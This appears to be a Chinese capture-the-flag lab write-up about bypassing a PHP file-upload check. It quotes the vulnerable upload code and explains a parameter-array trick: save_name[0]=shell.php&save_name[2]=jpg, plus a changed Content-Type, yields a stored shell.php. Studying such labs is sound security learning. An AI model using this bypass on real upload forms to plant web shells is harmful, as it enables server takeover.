if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//检查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}
}else{$msg = "请选择要上传的文件!";
}
在代码中发现有个!is_array($file)判断,$file是传入的POST参数POST传的不是都当成字符串吗,难道还能传数组?这里测试一下
在网站根目录下创建一个test.php
<?php
$file_name=$_GET["name"];
var_dump($file_name);
?>
传参test.php?name[0]=0&name[2]=2
发现确实能传数组,而且数组可以是不连续的
借助上述特性,回到靶场,当传入参数为save_name[0]=shell.php&save_name[2]=jpg时,$ext为数组最后一个值jpg,reset($file)为数组第一个值shell.php,$file_name就拼接成了shell.php.存储在Windows系统下最后一个点会自动删掉,这样就完成木马的注入。
开始实现,上传木马文件shell.php,抓包,要改Content-Type字段,save_name[0]参数,添加save_name[2]参数

